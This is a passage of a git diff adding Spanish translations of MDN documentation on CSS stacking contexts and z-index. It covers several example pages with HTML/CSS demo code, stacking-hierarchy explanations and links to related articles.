+   <li>DIV #4 (z-index 2)</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> El DIV #1 y el DIV #3 no son translúcidos. Es importante recordar que asignar una opacidad menor a 1 a un elemento posicionado implica la creación de un contexto de apilamiento, como ocurre cuando se añade un valor z-index. Y este ejemplo muestra que ocurre cuando un elemento padre no crea un contexto de apilamiento.</div>
+
+<h2 id="Ejemplo"><strong>Ejemplo</strong></h2>
+
+<h3 id="HTML"><strong>HTML</strong></h3>
+
+<pre class="brush: html">&lt;div id="div1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+&lt;br /&gt;position: relative;
+   &lt;div id="div2"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+   &lt;br /&gt;z-index: 1;
+   &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div3"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+&lt;br /&gt;position: relative;
+   &lt;div id="div4"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+   &lt;br /&gt;z-index: 2;
+   &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.bold {
+    font-weight: bold;
+    font: 12px Arial;
+}
+#div1,
+#div3 {
+    height: 80px;
+    position: relative;
+    border: 1px dashed #669966;
+    background-color: #ccffcc;
+    padding-left: 5px;
+}
+#div2 {
+    opacity: 0.8;
+    z-index: 1;
+    position: absolute;
+    width: 150px;
+    height: 200px;
+    top: 20px;
+    left: 170px;
+    border: 1px dashed #990000;
+    background-color: #ffdddd;
+    text-align: center;
+}
+#div4 {
+    opacity: 0.8;
+    z-index: 2;
+    position: absolute;
+    width: 200px;
+    height: 70px;
+    top: 65px;
+    left: 50px;
+    border: 1px dashed #000099;
+    background-color: #ddddff;
+    text-align: left;
+    padding-left: 10px;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1') }}</p>
+
+<h3 id="También_puedes_ver">También puedes ver</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a> : Reglas de apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float" title="Apilamiento y float">Apilamiento y float</a> : Cómo son manejados los elementos flotantes</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index" title="Agregando z-index">Agregando z-index</a> : Usando z-index para cambiar el apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento" title="El contexto de apilamiento">El contexto de apilamiento</a> : Notas sobre el contexto de apilamiento</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento" title="Ejemplo 2 del contexto de apilamiento">Ejemplo 2 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en todos los niveles</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento" title="Ejemplo 3 del contexto de apilamiento">Ejemplo 3 del contexto de apilamiento</a> : Jerarquía HTML de 3 niveles, z-index en el segundo nivel<span id="cke_bm_89E" style="display: none;"> </span></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Paolo Lombardi</li>
+ <li>Este artículo es una traducción al inglés de un artículo que escribí en italiano para <a href="http://www.yappy.it">YappY</a>. He dado el derecho de compartir el contenido bajo <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+</ul>
+</div>
diff --git a/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento/index.html b/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento/index.html
new file mode 100644
index 0000000000..2955b43b7f
--- /dev/null
+++ b/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento/index.html
@@ -0,0 +1,137 @@
+---
+title: Ejemplo 2 del contexto de apilamiento
+slug: >-
+  Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+---
+<p>« <a href="/es/CSS" title="CSS">CSS</a> « <a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index" title="Understanding CSS z-index">ENTENDIENDO LA PROPIEDAD CSS Z-INDEX</a></p>
+
+<h3 id="Ejemplo_2_del_contexto_de_apilamiento">Ejemplo 2 del contexto de apilamiento</h3>
+
+<p>Este es un ejemplo muy simple, pero es la clave para entender el concepto de <em>contexto de apilamiento. </em>Tenemos los mismos 4 DIVs del ejemplo previo, pero ahora las propiedades z-index son asignadas en ambos niveles de la jerarquía.</p>
+
+<p>{{ EmbedLiveSample('Example_source_code', '352', '270', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2') }}</p>
+
+<p>Puedes ver que el DIV #2 (z-index: 2) está encima del DIV #3 (z-index: 1), porque ambos pertenecen al mismo contexto de apilamiento (el contexto raíz), así que los valores z-index indican cómo son apilados los elementos.</p>
+
+<p>Lo que puede ser considerado extraño es que el DIV #2 (z-index: 2) está encima del DIV #4 (z-index: 10), a pesar de sus valores z-index. La razón es que ellos no pertenecen al mismo contexto de apilamiento. El DIV #4 pertenece al contexto de apilamiento creado por el DIV #3, y como explicamos previamente el DIV #3 (y todos su contenido) está debajo del DIV #2.</p>
+
+<p>Para entender mejor esta situación, esta es la jerarquía del contexto de apilamiento:</p>
+
+<ul>
+ <li>contexto de apilamiento raíz
+  <ul>
+   <li>DIV #2 (z-index 2)</li>
+   <li>DIV #3 (z-index 1)
+    <ul>
+     <li>DIV #4 (z-index 10)</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note"><strong>Nota:</strong>  Vale la pena recordar que en general la jerarquía HTML es diferente de la jerarquía del contexto de apilamiento. En la jerarquía del contexto de apilamiento, los elementos que no crean un contexto de apilamiento son colapsados en sus padres.</div>
+
+<h3 id="Código_fuente_de_ejemplo"><strong>Código fuente de ejemplo</strong></h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div2 { z-index: 2; }
+#div3 { z-index: 1; }
+#div4 { z-index: 10; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+    &lt;br /&gt;
+
+    &lt;div id="div1"&gt;&lt;br /&gt;
+        &lt;span class="bold"&gt;DIV #1&lt;/span&gt;&lt;br /&gt;
+        position: relative;
+        &lt;div id="div2"&gt;&lt;br /&gt;
+            &lt;span class="bold"&gt;DIV #2&lt;/span&gt;&lt;br /&gt;
+            position: absolute;&lt;br /&gt;
+            z-index: 2;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;br /&gt;
+
+    &lt;div id="div3"&gt;&lt;br /&gt;
+        &lt;span class="bold"&gt;DIV #3&lt;/span&gt;&lt;br /&gt;
+        position: relative;&lt;br /&gt;
+        z-index: 1;
+        &lt;div id="div4"&gt;&lt;br /&gt;
+            &lt;span class="bold"&gt;DIV #4&lt;/span&gt;&lt;br /&gt;
+            position: absolute;&lt;br /&gt;
+            z-index: 10;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="También_puedes_ver">También puedes ver</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a> : Reglas de apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float" title="Apilamiento y float">Apilamiento y float</a> : Cómo son manejados los elementos flotantes</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index" title="Agregando z-index">Agregando z-index</a> : Usando z-index para cambiar el apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento" title="El contexto de apilamiento">El contexto de apilamiento</a> : Notas sobre el contexto de apilamiento</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento" title="Ejemplo 1 del contexto de apilamiento">Ejemplo 1 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en el último nivel</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento" title="Ejemplo 3 del contexto de apilamiento">Ejemplo 3 del contexto de apilamiento</a> : Jerarquía HTML de 3 niveles, z-index en el segundo nivel</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Paolo Lombardi</li>
+ <li>Este artículo es una traducción al inglés de un artículo que escribí en italiano para <a href="http://www.yappy.it">YappY</a>. He dado el derecho de compartir el contenido bajo <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+</ul>
+</div>
diff --git a/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento/index.html b/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento/index.html
new file mode 100644
index 0000000000..c41d8b56ad
--- /dev/null
+++ b/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento/index.html
@@ -0,0 +1,183 @@
+---
+title: Ejemplo 3 del contexto de apilamiento
+slug: >-
+  Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3
+---
+<p>« <a href="/en/CSS" title="CSS">CSS</a> « <a href="/en/CSS/Understanding_z-index" title="Understanding CSS z-index">Understanding CSS z-index</a></p>
+
+<h3 id="Ejemplo_3_del_contexto_de_apilamiento">Ejemplo 3 del contexto de apilamiento</h3>
+
+<p>Este último ejemplo muestra los problemas que surgen cuando se combinan varios elementos posicionados en una jerarquía HTML multi nivel y cuando los valores z-index son asignados usando selectores de clase.</p>
+
+<p>Tomemos como ejemplo un menú jerárquico de tres niveles formado por varios DIVs posicionados. DIVs de segundo y tercer nivel aparecen cuando se pone el cursor encima o se hace clic en sus padres. Usualmente este tipo de menú es generado mediante un script del lado del cliente o del lado del servidor, así que las reglas de estilos son asignadas con un selector de clase en lugar de un selector de id.</p>
+
+<p>Si los tres niveles del menú se superponen parcialmente, entonces gestionar el apilamiento se podría convertir en un problema.</p>
+
+<p>{{ EmbedLiveSample('Example_source_code', '320', '330', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3') }}</p>
+
+<p>El menú de primer nivel solo tiene posición relativa, así que ningún contexto de apilamiento es creado.</p>
+
+<p>El menú de segundo nivel tiene posición absoluta dentro del elemento padre. Para colocarlo encima de todos los menus de primer nivel, usamos z-index. El problema es que para cada menú de segundo nivel, un contexto de apilamiento es creado y cada menú de tercer nivel pertenece al contexto de su padre.</p>
+
+<p>De manera que un menú de tercer nivel va a ser apilado bajo los menus de segundo nivel porque todos los menus de segundo nivel comparten el mismo valor z-index y las reglas de apilamiento por defecto son aplicadas.</p>
+
+<p>Para entender mejor la situación, esta es la jerarquía del contexto de apilamiento:</p>
+
+<ul>
+ <li>contexto de apilamiento raíz
+  <ul>
+   <li>NIVEL #1
+    <ul>
+     <li>NIVEL #2 (z-index: 1)
+      <ul>
+       <li>NIVEL #3</li>
+       <li>...</li>
+       <li>NIVEL #3</li>
+      </ul>
+     </li>
+     <li>NIVEL #2 (z-index: 1)</li>
+     <li>...</li>
+     <li>NIVEL #2 (z-index: 1)</li>
+    </ul>
+   </li>
+   <li>NIVEL #1</li>
+   <li>...</li>
+   <li>NIVEL #1</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Este problema puede ser evitado al remover la superposición entre menus de diferentes niveles, o usando valores z-index individuales (y diferentes) asignados a través del selector id en lugar de un selector de clase, o aplanando la jerarquía HTML.</p>
+
+<div class="note"><strong>Nota:</strong> En el código fuente vas a ver que los menus de segundo y tercer nivel están hechos de varios DIVs contenidos en un contenedor con posición absoluta. Esto es útil para agrupar y posicionarlos todos a la vez.</div>
+
+<h3 id="Código_fuente_de_ejemplo"><strong>Código fuente de ejemplo</strong></h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+div.lev1 {
+   width: 250px;
+   height: 70px;
+   position: relative;
+   border: 2px outset #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#container1 {
+   z-index: 1;
+   position: absolute;
+   top: 30px;
+   left: 75px;
+}
+
+div.lev2 {
+   opacity: 0.9;
+   width: 200px;
+   height: 60px;
+   position: relative;
+   border: 2px outset #990000;
+   background-color: #ffdddd;
+   padding-left: 5px;
+}
+
+#container2 {
+   z-index: 1;
+   position: absolute;
+   top: 20px;
+   left: 110px;
+}
+
+div.lev3 {
+   z-index: 10;
+   width: 100px;
+   position: relative;
+   border: 2px outset #000099;
+   background-color: #ddddff;
+   padding-left: 5px;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+
+   &lt;div id="container1"&gt;
+
+      &lt;div class="lev2"&gt;
+      &lt;br /&gt;&lt;span class="bold"&gt;LEVEL #2&lt;/span&gt;
+      &lt;br /&gt;z-index: 1;
+
+         &lt;div id="container2"&gt;
+
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+            &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+
+         &lt;/div&gt;
+
+      &lt;/div&gt;
+
+      &lt;div class="lev2"&gt;
+      &lt;br /&gt;&lt;span class="bold"&gt;LEVEL #2&lt;/span&gt;
+      &lt;br /&gt;z-index: 1;
+      &lt;/div&gt;
+
+   &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+
+<h3 id="También_puedes_ver">También puedes ver</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a> : Reglas de apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float" title="Apilamiento y float">Apilamiento y float</a> : Cómo son manejados los elementos flotantes</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index" title="Agregando z-index">Agregando z-index</a> : Usando z-index para cambiar el apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento" title="El contexto de apilamiento">El contexto de apilamiento</a> : Notas sobre el contexto de apilamiento</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento" title="Ejemplo 1 del contexto de apilamiento">Ejemplo 1 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en el último nivel</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento" title="Ejemplo 2 del contexto de apilamiento">Ejemplo 2 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en todos los niveles</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Paolo Lombardi</li>
+ <li>Este artículo es una traducción al inglés de un artículo que escribí en italiano para <a href="http://www.yappy.it">YappY</a>. He dado el derecho de compartir el contenido bajo <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+</ul>
+</div>
diff --git a/files/es/web/css/css_positioning/entendiendo_z_index/el_contexto_de_apilamiento/index.html b/files/es/web/css/css_positioning/entendiendo_z_index/el_contexto_de_apilamiento/index.html
new file mode 100644
index 0000000000..1daf172048
--- /dev/null
+++ b/files/es/web/css/css_positioning/entendiendo_z_index/el_contexto_de_apilamiento/index.html
@@ -0,0 +1,231 @@
+---
+title: El contexto de apilamiento
+slug: Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+---
+<p>El contexto de apilamiento es la conceptualización tridimensional de los elementos HTML a lo largo de un eje-Z imaginario relativo al usuario que se asume está de cara al viewport o página web. Los elementos HTML ocupan este espacio por orden de prioridad basado en sus atributos.</p>
+
+<p>« <a href="/es/CSS" title="CSS">CSS</a> « <a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index" title="Understanding CSS z-index">ENTENDIENDO LA PROPIEDAD CSS Z-INDEX</a></p>
+
+<h2 id="El_contexto_de_apilamiento">El contexto de apilamiento</h2>
+
+<p> </p>
+
+<p>En el ejemplo previo, <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index" title="Agregando z-index">Agregando z-index</a>, el orden de renderizado de ciertos DIVs es influenciado por sus valores z-index. Esto ocurre debido a que estos DIVs tienen propiedades especiales que causan que formen un contexto de apilamiento.</p>
+
+<p>Un contexto de apilamiento es formado, en cualquier lugar del documento, por cualquier elemento que</p>
+
+<ul>
+ <li>sea el elemento raiz (HTML),</li>
+ <li>tenga posición (absoluta o relativa) con un valor z-index distinto de "auto",</li>
+ <li>un elemento flex con un valor z-index distinto de "auto", que sea el elemento padre display: flex|inline-flex,</li>
+ <li>sean elementos con un valor {{cssxref("opacity")}} menor de 1. (Mira <a href="http://www.w3.org/TR/css3-color/#transparency" title="http://www.w3.org/TR/css3-color/#transparency">la especificación de opacity</a>),</li>
+ <li>elementos con un valor  {{cssxref("transform")}} distinto de "none",</li>
+ <li>elementos con un valor {{cssxref("mix-blend-mode")}} distinto de "normal",</li>
+ <li>elementos con un valor {{cssxref("filter")}} distinto de "none",</li>
+ <li>elementos con un valor {{cssxref("perspective")}} distinto de "none",</li>
+ <li>elementos con un valor {{cssxref("isolation")}} igual a "isolate",</li>
+ <li><code>position: fixed</code></li>
+ <li>especifican cualquier atributo superior en <code>{{cssxref("will-change")}} incluso si no especificas valores para estos atributos directamente </code>(Mira <a href="http://dev.opera.com/articles/css-will-change-property/">este post</a>)</li>
+ <li>elementos con un valor {{cssxref("-webkit-overflow-scrolling")}} igual a "touch"</li>
+</ul>
+
+<p>Dentro de un contexto de apilamiento, los elementos hijos son apilados de acuerdo a las mismas reglas previamente explicadas. Es importante entender que los valores z-index de los contextos de apilamiento de los hijos solo tienen sentido en el contexto del padre. Los contextos de apilamiento son tratados atómicamente como una sola unidad en el contexto de apilamiento del padre.</p>
+
+<p>En resumen:</p>
+
+<ul>
+ <li>Posicionar y asignar un valor z-index a un elemento HTML crea un contexto de apilamiento, (asi como también lo hace asignar una opacidad parcial)</li>
+ <li>Contextos de apilamiento pueden ser contenidos en otros contextos de apilamiento, y juntos crean una jerarquía de contextos de apilamiento</li>
+ <li>Cada contexto de apilamiento es completamente independiente de sus hermanos: solo los elementos descendientes son considerados cuando el apilamiento es procesado.</li>
+ <li>Cada contexto de apilamiento es auto contenido: luego que los contenidos del elemento son apilados, el elemento completo es considerado en el orden de apilamiento del contexto del padre.</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> La jerarquía de apilar contextos es un sub conjunto de la jerarquía de elementos HTML, porque solo ciertos elementos crean contextos de apilamiento. Podemos decir que los elementos que no crean sus propios contextos de apilamiento son asimilados por el contexto de apilamiento padre.</div>
+
+<h2 id="El_ejemplo"><strong>El ejemplo</strong></h2>
+
+<p><img alt="Example of stacking rules modified using z-index" src="/@api/deki/files/913/=Understanding_zindex_04.png"></p>
+
+<p>En este ejemplo cada elemento posicionado crea su propio contexto de apilamiento, debido a sus valores de posicionamiento y z-index. La jerarquía de contextos de apilamiento es organizada de la siguiente manera:</p>
+
+<ul>
+ <li>Raíz
+  <ul>
+   <li>DIV #1</li>
+   <li>DIV #2</li>
+   <li>DIV #3
+    <ul>
+     <li>DIV #4</li>
+     <li>DIV #5</li>
+     <li>DIV #6</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Es importante notar que el DIV #4, DIV #5 y el DIV #6 son hijos del DIV #3, así que el apilamiento de esos elementos es completamente resuelto dentro del DIV#3. Una vez que el apilamiento y el renderizado dentro del DIV#3 ha sido completado, todo el elemento DIV#3 es apilado en el elemento raíz con respecto a sus DIV hermanos.</p>
+
+<div class="note">
+<p><strong>Notas:</strong></p>
+
+<ul>
+ <li>DIV #4 es renderizado debajo de DIV #1 porque el z-index (5) de DIV #1 es válido dentro del contexto de apilamiento del elemento raiz, mientras que el z-index (6) de DIV #4 es válido dentro del contexto de apilamiento de DIV #3. Así que DIV #4 está debajo de DIV #1, porque DIV #4 pertenece a DIV #3, que tiene un valor z-index menor.</li>
+ <li>Por la misma razón DIV #2 (z-index 2) es renderizado bajo DIV#5 (z-index 1) porque DIV #5 pertenece a DIV #3, que tiene un valor z-index mayor.</li>
+ <li>El valor z-index de DIV #3 es 4, pero este valor es independiente del z-index de DIV #4, DIV #5 and DIV #6, porque pertenece a un contexto de apilamiento diferente.</li>
+ <li>Una forma fácil de descubrir el <em>orden de renderizado</em> de los elementos apilados en el eje Z es pensar en esto como un tipo de "número de versión", donde los elementos hijos son números de versión menores bajo los números de versión mayores de sus padres. De esta manera podemos ver fácilmente cómo un elemento con un valor z-index de 1 (DIV #5) es apilado encima de un elemento con un valor z-index de 2 (DIV #2), y cómo un elemento con un valor z-index de 6 (DIV #4) es apilado debajo de un elemento con un valor z-index de 5 (DIV #1). En nuestro ejemplo (ordenado de acuerdo al orden de renderizado final):
+  <ul>
+   <li>Raíz
+    <ul>
+     <li>El valor z-index de DIV #2 es 2</li>
+     <li>El valor z-index de DIV #3 es 4
+      <ul>
+       <li>El valor z-index de DIV #5 es 1, apilado bajo un elemento con un valor z-index de 4, que resulta en un orden de renderizado de 4.1</li>
+       <li>El valor z-index de DIV #6 es 3, apilado debajo de un elemento con un valor z-index de 4, que resulta en un orden de renderizado de 4.3</li>
+       <li>El valor z-index de DIV #4 es 6, apilado bajo un elemento con valor z-index de 4, que resulta en un orden de renderizado de 4.6</li>
+      </ul>
+     </li>
+     <li>El valor z-index de DIV #1 es 5</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+</div>
+
+<h2 id="Ejemplo"><strong>Ejemplo</strong></h2>
+
+<h3 id="HTML"><strong>HTML</strong></h3>
+
+<pre class="brush: html">    &lt;div id="div1"&gt;
+      &lt;h1&gt;Division Element #1&lt;/h1&gt;
+      &lt;code&gt;position: relative;&lt;br/&gt;
+      z-index: 5;&lt;/code&gt;
+    &lt;/div&gt;
+
+    &lt;div id="div2"&gt;
+      &lt;h1&gt;Division Element #2&lt;/h1&gt;
+      &lt;code&gt;position: relative;&lt;br/&gt;
+      z-index: 2;&lt;/code&gt;
+    &lt;/div&gt;
+
+    &lt;div id="div3"&gt;
+
+      &lt;div id="div4"&gt;
+        &lt;h1&gt;Division Element #4&lt;/h1&gt;
+        &lt;code&gt;position: relative;&lt;br/&gt;
+        z-index: 6;&lt;/code&gt;
+      &lt;/div&gt;
+
+      &lt;h1&gt;Division Element #3&lt;/h1&gt;
+      &lt;code&gt;position: absolute;&lt;br/&gt;
+      z-index: 4;&lt;/code&gt;
+
+      &lt;div id="div5"&gt;
+        &lt;h1&gt;Division Element #5&lt;/h1&gt;
+        &lt;code&gt;position: relative;&lt;br/&gt;
+        z-index: 1;&lt;/code&gt;
+      &lt;/div&gt;
+
+      &lt;div id="div6"&gt;
+        &lt;h1&gt;Division Element #6&lt;/h1&gt;
+        &lt;code&gt;position: absolute;&lt;br/&gt;
+        z-index: 3;&lt;/code&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+</pre>
+
+<h3 id="Division_Element_.231" name="Division_Element_.231">CSS</h3>
+
+<pre class="brush: css">* {
+    margin: 0;
+}
+html {
+    padding: 20px;
+    font: 12px/20px Arial, sans-serif;
+}
+div {
+    opacity: 0.7;
+    position: relative;
+}
+h1 {
+    font: inherit;
+    font-weight: bold;
+}
+#div1,
+#div2 {
+    border: 1px dashed #696;
+    padding: 10px;
+    background-color: #cfc;
+}
+#div1 {
+    z-index: 5;
+    margin-bottom: 190px;
+}
+#div2 {
+    z-index: 2;
+}
+#div3 {
+    z-index: 4;
+    opacity: 1;
+    position: absolute;
+    top: 40px;
+    left: 180px;
+    width: 330px;
+    border: 1px dashed #900;
+    background-color: #fdd;
+    padding: 40px 20px 20px;
+}
+#div4,
+#div5 {
+    border: 1px dashed #996;
+    background-color: #ffc;
+}
+#div4 {
+    z-index: 6;
+    margin-bottom: 15px;
+    padding: 25px 10px 5px;
+}
+#div5 {
+    z-index: 1;
+    margin-top: 15px;
+    padding: 5px 10px;
+}
+#div6 {
+    z-index: 3;
+    position: absolute;
+    top: 20px;
+    left: 180px;
+    width: 150px;
+    height: 125px;
+    border: 1px dashed #009;
+    padding-top: 125px;
+    background-color: #ddf;
+    text-align: center;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', '556', '396') }}</p>
+
+<h3 id="También_puedes_ver">También puedes ver</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a> : Reglas de apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float" title="Apilamiento y float">Apilamiento y float</a> : Cómo son manejados los elementos flotantes</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index" title="Agregando z-index">Agregando z-index</a> : Usando z-index para cambiar el apilamiento por defecto</li>
